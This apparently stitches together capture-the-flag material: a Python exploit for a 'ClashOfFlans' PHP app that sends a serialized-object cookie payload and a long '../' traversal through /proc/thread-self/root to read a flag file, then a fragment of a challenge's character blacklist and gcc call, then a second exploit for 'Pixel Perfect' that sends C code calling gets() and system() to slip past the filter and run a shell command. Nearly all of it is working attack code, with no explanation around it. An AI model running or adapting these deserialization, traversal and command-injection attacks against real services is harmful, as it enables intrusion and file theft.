#!/usr/bin/env python3
import argparse
import random
import re
import string
import sys
import urllib.parse
import urllib.request


def php_str(value: str) -> str:
    return f's:{len(value)}:"{value}";'


def php_int(value: int) -> str:
    return f"i:{value};"


def php_array(items) -> str:
    chunks = []
    for index, value in enumerate(items):
        chunks.append(php_int(index))
        chunks.append(value)
    return f'a:{len(items)}:{{' + "".join(chunks) + "}"


def php_object(class_name: str, properties) -> str:
    chunks = []
    for key, value in properties.items():
        chunks.append(php_str(key))
        chunks.append(value)
    return f'O:{len(class_name)}:"{class_name}":{len(properties)}:{{' + "".join(chunks) + "}"


def build_payload(baker_name: str) -> str:
    baker = php_object(
        "Baker",
        {
            "\x00*\x00name": php_str(baker_name),
            "\x00*\x00flans": "a:0:{}",
        },
    )
    opponent = php_object(
        "Flan",
        {
            "\x00*\x00name": php_str("enemy"),
            "\x00*\x00size": php_int(8),
            "\x00*\x00weight": php_int(2),
            "\x00*\x00sturdiness": php_int(4),
        },
    )
    clash = php_object(
        "Clash",
        {
            "\x00*\x00flan1": baker,
            "\x00*\x00flan2": opponent,
            "\x00*\x00winnerName": php_str("winner"),
            "\x00*\x00resultDetails": php_str("details"),
        },
    )
    flan = php_object(
        "Flan",
        {
            "\x00*\x00name": clash,
            "\x00*\x00size": php_int(1),
            "\x00*\x00weight": php_int(1),
            "\x00*\x00sturdiness": php_int(1),
        },
    )
    return 'a:1:{s:5:"flans";a:1:{i:0;' + flan + "}}"


def random_baker_name() -> str:
    suffix = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
    return f"chef_{suffix}"


def build_aligned_path(suffix: str) -> str:
    total = 103 - len(suffix)
    if total <= 0 or total % 3 != 0:
        raise ValueError(f"Suffix length is not alignable: {suffix}")
    return "../" * (total // 3) + suffix


def build_target_path() -> str:
    return build_aligned_path("proc/thread-self/root/proc/thread-self/root/flag.txt")


def bootstrap_session(base_url: str, baker_name: str):
    data = urllib.parse.urlencode({"baker_name": baker_name}).encode()
    request = urllib.request.Request(base_url, data=data)
    with urllib.request.urlopen(request, timeout=5) as response:
        cookie_headers = response.headers.get_all("Set-Cookie") or []

    for header in cookie_headers:
        match = re.search(r"PHPSESSID=([^;]+)", header)
        if match:
            return match.group(1)
    raise RuntimeError("Failed to obtain PHPSESSID.")


def extract_side(body: str, baker_name: str):
    pattern = re.compile(
        rf"Clash: {re.escape(baker_name)} \((.*?) side\) vs enemy \| Winner: winner \| Details: details",
        re.S,
    )
    match = pattern.search(body)
    if not match:
        return None
    return match.group(1)


def leak_flag(base_url: str, baker_name: str, session_id: str, payload: str, target_path: str):
    params = urllib.parse.urlencode(
        {
            "side": "ClashSummaryByUuid",
            "args": target_path,
        }
    )
    request = urllib.request.Request(f"{base_url}?{params}")
    cookie = f"PHPSESSID={session_id}; flans[0]={urllib.parse.quote(payload, safe='')}"
    request.add_header("Cookie", cookie)

    with urllib.request.urlopen(request, timeout=5) as response:
        body = response.read().decode("utf-8", "ignore")

    side = extract_side(body, baker_name)
    if side is None:
        return None

    side = side.strip()
    if not side or "Warning" in side or "Fatal error" in side:
        return None
    return side


def normalize_base_url(raw_url: str) -> str:
    return raw_url.rstrip("/") + "/"


def main():
    parser = argparse.ArgumentParser(description="ClashOfFlans file read exploit")
    parser.add_argument("url", help="Target base URL, e.g. http://127.0.0.1:1337")
    parser.add_argument("--baker", default=None, help="Custom baker name")
    args = parser.parse_args()

    base_url = normalize_base_url(args.url)
    baker_name = args.baker or random_baker_name()
    payload = build_payload(baker_name)
    target_path = build_target_path()

    try:
        session_id = bootstrap_session(base_url, baker_name)
    except Exception as exc:
        print(f"[-] Bootstrap failed: {exc}", file=sys.stderr)
        return 1

    print(f"[*] Baker: {baker_name}")
    print(f"[*] PHPSESSID: {session_id}")

    try:
        result = leak_flag(base_url, baker_name, session_id, payload, target_path)
    except Exception as exc:
        print(f"[!] Request failed: {exc}", file=sys.stderr)
        return 1

    if result is None:
        print("[-] Flag not found.", file=sys.stderr)
        return 1

    print(f"[+] {result}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

print("Input your code (1 line)")
code = input("> ")

banned_char = "#[]<>#%$:_ '\"*=,?\\/|0123456789-+"

if any(c in banned_char for c in code):
    print("You can't use those characters!")
    exit(1)

["gcc", "-B/usr/bin", "-w", "-O3", "-o", compiled_path, src_path]

#!/usr/bin/env python3
import argparse
import re
import socket
import sys
import time


PAYLOAD = "int\tgets();int\tsystem();char\tc;gets(&c);system(&c);"
DEFAULT_COMMAND = "cat /flag-*"
FLAG_PATTERN = re.compile(r"[A-Za-z0-9_]{2,}\{[^}\r\n]+\}")


def parse_target(raw: str) -> tuple[str, int]:
    text = raw.strip()
    if not text:
        raise ValueError("empty target")

    if text.startswith("nc "):
        parts = text.split()
        if len(parts) != 3:
            raise ValueError("invalid nc target format")
        return parts[1], int(parts[2])

    if text.startswith("tcp://"):
        text = text[len("tcp://") :]

    if ":" in text:
        host, port = text.rsplit(":", 1)
        return host.strip(), int(port.strip())

    raise ValueError("target must look like host:port or 'nc host port'")


def recv_until(sock: socket.socket, markers: tuple[str, ...], timeout: float) -> str:
    deadline = time.time() + timeout
    chunks: list[str] = []

    while time.time() < deadline:
        try:
            data = sock.recv(4096)
        except socket.timeout:
            continue

        if not data:
            break

        text = data.decode("latin1", errors="replace")
        chunks.append(text)
        merged = "".join(chunks)
        if any(marker in merged for marker in markers):
            return merged

    return "".join(chunks)


def recv_briefly(sock: socket.socket, timeout: float, idle_timeout: float) -> str:
    deadline = time.time() + timeout
    idle_deadline = time.time() + idle_timeout
    chunks: list[str] = []

    while time.time() < deadline:
        try:
            data = sock.recv(4096)
        except socket.timeout:
            if time.time() >= idle_deadline:
                break
            continue

        if not data:
            break

        chunks.append(data.decode("latin1", errors="replace"))
        idle_deadline = time.time() + idle_timeout

    return "".join(chunks)


def recv_remaining(sock: socket.socket, timeout: float) -> str:
    deadline = time.time() + timeout
    chunks: list[str] = []

    while time.time() < deadline:
        try:
            data = sock.recv(4096)
        except socket.timeout:
            continue

        if not data:
            break

        chunks.append(data.decode("latin1", errors="replace"))
        if FLAG_PATTERN.search(chunks[-1]) or FLAG_PATTERN.search("".join(chunks)):
            break

    return "".join(chunks)


def exploit(host: str, port: int, command: str, timeout: float) -> str:
    with socket.create_connection((host, port), timeout=timeout) as sock:
        sock.settimeout(0.5)

        banner = recv_until(sock, ("> ",), timeout)
        if "> " not in banner:
            raise RuntimeError(f"did not receive input prompt, got: {banner!r}")

        sock.sendall((PAYLOAD + "\n").encode())
        compile_output = recv_briefly(sock, timeout=timeout, idle_timeout=1.0)
        if "Oops, there were some compilation errors!" in compile_output:
            raise RuntimeError("payload failed to compile")
        if "You can't use those characters!" in compile_output:
            raise RuntimeError("payload was blocked by the filter")

        sock.sendall((command + "\n").encode())
        result = recv_remaining(sock, timeout)
        return banner + compile_output + result


def main() -> int:
    parser = argparse.ArgumentParser(description="Exploit for Pixel Perfect")
    parser.add_argument("target", nargs="?", help="host:port, tcp://host:port, or 'nc host port'")
    parser.add_argument("--command", default=DEFAULT_COMMAND, help="command executed by system(), default: %(default)s")
    parser.add_argument("--timeout", type=float, default=10.0, help="network timeout in seconds")
    args = parser.parse_args()

    target = args.target or input("Target (host:port / nc host port): ").strip()

    try:
        host, port = parse_target(target)
    except ValueError as exc:
        print(f"[-] Invalid target: {exc}", file=sys.stderr)
        return 1

    print(f"[+] Connecting to {host}:{port}")
    print(f"[+] Stage 1 payload: {PAYLOAD}")
    print(f"[+] Stage 2 command: {args.command}")

    try:
        output = exploit(host, port, args.command, args.timeout)
    except Exception as exc:
        print(f"[-] Exploit failed: {exc}", file=sys.stderr)
        return 1

    flag_match = FLAG_PATTERN.search(output)
    if flag_match:
        print(f"[+] Flag: {flag_match.group(0)}")
    else:
        print("[!] Flag pattern not found, raw output follows:")
        print(output)

    return 0


if __name__ == "__main__":
    raise SystemExit(main())